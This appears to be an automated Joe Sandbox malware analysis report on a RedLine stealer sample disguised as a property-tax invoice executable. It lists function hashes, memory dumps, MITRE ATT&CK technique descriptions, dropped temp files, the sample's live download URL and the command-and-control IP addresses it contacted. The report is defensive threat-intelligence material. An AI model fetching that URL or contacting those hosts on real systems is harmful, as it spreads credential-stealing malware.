Instruction ID: fc3093843b7121688dbc201b36666afe31f0f26f9c62b22f00ee8a4e6d787802
Opcode Fuzzy Hash: 9be6e2e37e59ee44e6dfe65be7b7a307be1848e5fd2f56b9269bc07313b6a026
Instruction Fuzzy Hash: 30119235A00209CFDF14AF65E958BAE7BB2FB48645F108158E416F77A1DB749804CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02BECADF Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7f416500e87ec89fe9aba381e1236e6088f01af55f343191e0d05375dd8eae
Instruction ID: eb5a6d3b4fbf5c4e170deb446165acf0e728fde9e46ed88f27cdd513c068e557
Opcode Fuzzy Hash: fe7f416500e87ec89fe9aba381e1236e6088f01af55f343191e0d05375dd8eae
Instruction Fuzzy Hash: B3014B71E10158ABDF019BA99809AAEBFBAEFC8211F048066E615E3140EB7459169B90

Uniqueness

Uniqueness Score: -1.00%

Function 02BE3EC0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d099224d2737e33b7d08e6a8ebc5317651d5aed7164b223a3f783950b2628a18
Instruction ID: 7427af6ec33489e0170320a8dd24f6878f622b56433461f48d74cbe9827ceb04
Opcode Fuzzy Hash: d099224d2737e33b7d08e6a8ebc5317651d5aed7164b223a3f783950b2628a18
Instruction Fuzzy Hash: 62F02232700205ABDB289F65E4586BE77FBDBC4665B088C68E10BCB380EF30D8028791

Uniqueness

Uniqueness Score: -1.00%

Function 02BE3F40 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051da9c9774f6aedb68bd6df290843fdbbddf88be97ea24cabd236c8471d5710
Instruction ID: effe61864ae9ca0958bf5d7062d3689f0d4df6a84179fc4398b46b4425c3813f
Opcode Fuzzy Hash: 051da9c9774f6aedb68bd6df290843fdbbddf88be97ea24cabd236c8471d5710
Instruction Fuzzy Hash: FBF0B4327042545BDB28A764AC157BA33E9EB80758F0500FAA547DB2D5DFB18C40C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 02BE8140 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c90bad3f091cac6c2b48eef9e09baa9fa0bc861edbb4bff5332cecdf7b0ae7
Instruction ID: e654ed59bc343655c99313410cb8cadc7c6a45cd8fc4bb96ea1ebb2c80dbb9e6
Opcode Fuzzy Hash: c2c90bad3f091cac6c2b48eef9e09baa9fa0bc861edbb4bff5332cecdf7b0ae7
Instruction Fuzzy Hash: 01F0542240D2945BDB066634EC227973B69DB06158F0A08E7D181EB293E715895883D6

Uniqueness

Uniqueness Score: -1.00%

Function 02BEC8D0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6f196bfe0b4667497ebb304fefc136bd40329af0db48a5e75d99b4e4d25518d
Instruction ID: 64b19e68b887be27f26b83b9fa57ff93c1541a4d5c1d63e0cf584b6a6ad2ba28
Opcode Fuzzy Hash: b6f196bfe0b4667497ebb304fefc136bd40329af0db48a5e75d99b4e4d25518d
Instruction Fuzzy Hash: 33F01236704118ABC7149A5AE88899FBF9EFFD9271B54C026F909D7310CB759C46C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 02BECAF0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76b07aee7ab3f82f90f78f7447d70aac947645b1239d4f89d0dfcede73ba803
Instruction ID: 7de90d064f1a217c41a17670a2cb1a7de4ae342ba5fe35d9bfe92b6dd979a8f2
Opcode Fuzzy Hash: e76b07aee7ab3f82f90f78f7447d70aac947645b1239d4f89d0dfcede73ba803
Instruction Fuzzy Hash: 0FF01D72F1011CAFDB05DB999C05AFEBBFAFFC8611F048026E619E3240DB745A168B90

Uniqueness

Uniqueness Score: -1.00%

Function 02BE70F1 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eff3699b37e67c74b734e55fd4b1615d47d190ae7ffe13adca5cd85a9e189fd
Instruction ID: 98652987e13acea114b5ef2c4c1834667ba6d7184b9050fbebcf2a6e6d578c07
Opcode Fuzzy Hash: 0eff3699b37e67c74b734e55fd4b1615d47d190ae7ffe13adca5cd85a9e189fd
Instruction Fuzzy Hash: 08F06D352017059FCB28AA22D814B67B3A6FF80326F148C6DE46B67750CB31F8C2CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02BEC6C0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a225e7d56617a910505a9b3b4204326a52d913d17baa513f50d7a7922add3eb
Instruction ID: ac3451aa612fbd8982b29d1dc6542875759ddc2d17583a92b2accabb1ba61edb
Opcode Fuzzy Hash: 9a225e7d56617a910505a9b3b4204326a52d913d17baa513f50d7a7922add3eb
Instruction Fuzzy Hash: E8F02773A042195F8B118A68A88687F7BEAFB88220304446EE559D3201DB258C0643A0

Uniqueness

Uniqueness Score: -1.00%

Function 02BED3A1 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8dd69150ced25c6769fb3d35ee5367465bd63a8e308dfe2f5eda9d889c8b1e3
Instruction ID: f86ee47699d09405ed88296000a7eda57c71df2efe7c4305fb2f92246d45bce5
Opcode Fuzzy Hash: b8dd69150ced25c6769fb3d35ee5367465bd63a8e308dfe2f5eda9d889c8b1e3
Instruction Fuzzy Hash: 38F090317413408FCB0A9B74E49566A77A1EFC1229B1089BDC1168B796CB36D84AD750

Uniqueness

Uniqueness Score: -1.00%

Function 02BECB48 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfae4216f0af60537a82f6e2ef50c98f22c90d0c99497c90362c5f7060e403a6
Instruction ID: 674b0012431d9e2fcfdc9d1bf611a2521954fb897742cda965872561329c06f2
Opcode Fuzzy Hash: bfae4216f0af60537a82f6e2ef50c98f22c90d0c99497c90362c5f7060e403a6
Instruction Fuzzy Hash: 70F05E306013489FEB15DF76D405A5A7FA6FF89361F04C0A9F94A8B250DB35D801CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02BE5DE1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fef8d9af46fe0d8384ecc4e15b86eeda9bc74c333af9c867b31dc8dab3ae66f
Instruction ID: a6162c7d1c2d9f86b0cfb5a114a53e536064f6d3e81d0fc5f9dcb58cc43f5f7d
Opcode Fuzzy Hash: 6fef8d9af46fe0d8384ecc4e15b86eeda9bc74c333af9c867b31dc8dab3ae66f
Instruction Fuzzy Hash: 94E02B722006084FDBA86B55E94DB4E3BA8FF04318F450058F007D76A0EF60ED42CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 02BE4A78 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea5df90aea5572fa1bf84129a54e82fd1a34e715e7bb84be5add0ec6ce175f9
Instruction ID: 48bbd5934ba462a574d73b040707f2eaf482d40b0a6098f52767fd7e8aacce0c
Opcode Fuzzy Hash: eea5df90aea5572fa1bf84129a54e82fd1a34e715e7bb84be5add0ec6ce175f9
Instruction Fuzzy Hash: 10E02B353011209FC7046608EC08FE777ECEB48715F014165F515C7751DAA1ED5287C0

Uniqueness

Uniqueness Score: -1.00%

Function 02BE5F72 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bbc7c3fe1ebb788dbeb1c76c53ac81a518cd59988b4175ecc8b63a1d4df484
Instruction ID: e67172ea2c9f7268d3ec8c068bdd9dac1272c1dabf8f40ec2a06dc51250bda70
Opcode Fuzzy Hash: 38bbc7c3fe1ebb788dbeb1c76c53ac81a518cd59988b4175ecc8b63a1d4df484
Instruction Fuzzy Hash: 08E07D3140112887DF342618CE09BF37764EF40118F44419CB08E42A81C364A610C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 02BE8600 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d49e9c4a5d688867858589de2d5cbf093a612380c708f776b0fa6a66c3ac6a
Instruction ID: 66d7f49f4edf6c3be3382cf87c94e22e27b3556389faca8ac25d7fd14675cd5b
Opcode Fuzzy Hash: 67d49e9c4a5d688867858589de2d5cbf093a612380c708f776b0fa6a66c3ac6a
Instruction Fuzzy Hash: 7BD01222340A34176F4071FA39012FA72CE8E800B570846F2EA0DC3552FB55C95112D0

Uniqueness

Uniqueness Score: -1.00%

Function 02BE40D0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24690525b19a7a5e1073d13de78198640446f2f05ece80359a8b246e3c46db5
Instruction ID: ff237e6072c878c1cca9efa067a276589e50881735f7450216a0b7decec12002
Opcode Fuzzy Hash: a24690525b19a7a5e1073d13de78198640446f2f05ece80359a8b246e3c46db5
Instruction Fuzzy Hash: 91D0A92230120C5BCEA4A6208C52BF722A7DB8A10CF4A81E49503CB221EF28CA548622

Uniqueness

Uniqueness Score: -1.00%

Function 02BE4A88 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0857e563bdf841f5465be896cdab72d0242ef81e3e9c8802ff92af9f642e023b
Instruction ID: 753125eb783ff24b136c6033b1a2c9d7c2f887f018025e1ae34f6f3dceaae05f
Opcode Fuzzy Hash: 0857e563bdf841f5465be896cdab72d0242ef81e3e9c8802ff92af9f642e023b
Instruction Fuzzy Hash: 41D0A7343001108FC2049718E408D9677E9EB48621B0140A6F905C7760CAB1EC4187C0

Uniqueness

Uniqueness Score: -1.00%

Function 02BE8E60 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6f4f0c37583dda49b51b9120500bf07c8edeb17b293c1bb43cf4eea6197edbc
Instruction ID: ac3e19f7088250818d27a205198952a537b1f20c4687dbfcf02cf0531f16557e
Opcode Fuzzy Hash: b6f4f0c37583dda49b51b9120500bf07c8edeb17b293c1bb43cf4eea6197edbc
Instruction Fuzzy Hash: DED05E3270422047D709ABACB01529863A1FBC93A1FA541BAD816C7215EB249C1AC3B5

Uniqueness

Uniqueness Score: -1.00%

Function 0509F2F8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.361402233.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5090000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8896f330c116f157ec841104bec0290bee7ae5e98cf114f1781a1fa6cb75b4ba
Instruction ID: de04cb8cdaddbe1e422ea6bd8f09917b0cd675b1e155b29b25a475be2e29a5ea
Opcode Fuzzy Hash: 8896f330c116f157ec841104bec0290bee7ae5e98cf114f1781a1fa6cb75b4ba
Instruction Fuzzy Hash: BFC08CF28081002BEB010A50EE11F1ABF30D760346F1BA000B0C0952E5CA28C0268F21

Uniqueness

Uniqueness Score: -1.00%

Function 02BE3910 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.356824565.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2be0000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89eeefb741eafc7f8b0b129599855dae54e2b4d46584740252c22117b7e40a24
Instruction ID: 1419380a95d58c674a67be886b68247a0c87b3d69d51c01194fefc33f5a0bb97
Opcode Fuzzy Hash: 89eeefb741eafc7f8b0b129599855dae54e2b4d46584740252c22117b7e40a24
Instruction Fuzzy Hash: A7B092F7A496409BEF6582258F05B8A2B109B32303F0503A1B929E6AD1D509451286A6

Uniqueness

Uniqueness Score: -1.00%

Source: global traffic	TCP traffic: 18.192.93.86 ports 17685,1,5,6,7,8
Source: global traffic	TCP traffic: 18.156.13.209 ports 17685,1,5,6,7,8

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\P90GT_Invoice_Related_Property_Tax_P800.exe.log

C:\Users\user\AppData\Local\Temp\tmp1980.tmp

C:\Users\user\AppData\Local\Temp\tmp215E.tmp

C:\Users\user\AppData\Local\Temp\tmp2AB8.tmp

C:\Users\user\AppData\Local\Temp\tmp37C1.tmp

C:\Users\user\AppData\Local\Temp\tmp45A0.tmp

C:\Users\user\AppData\Local\Temp\tmp477B.tmp

C:\Users\user\AppData\Local\Temp\tmp6ACA.tmp

C:\Users\user\AppData\Local\Temp\tmp77A1.tmp

C:\Users\user\AppData\Local\Temp\tmp8BC2.tmp

C:\Users\user\AppData\Local\Temp\tmp8D2A.tmp

C:\Users\user\AppData\Local\Temp\tmpAE5E.tmp

C:\Users\user\AppData\Local\Temp\tmpBC5D.tmp

C:\Users\user\AppData\Local\Temp\tmpBCFC.tmp

Windows Analysis Report
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe

Function 00D14410 Relevance: 22.3, APIs: 1, Strings: 10, Instructions: 3086
libraryCOMMON

Function 00D1436F Relevance: 22.1, APIs: 1, Strings: 10, Instructions: 2853
COMMON

Function 00D10470 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 425
memoryCOMMON

Function 00D1E595 Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Function 00D1E5A0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON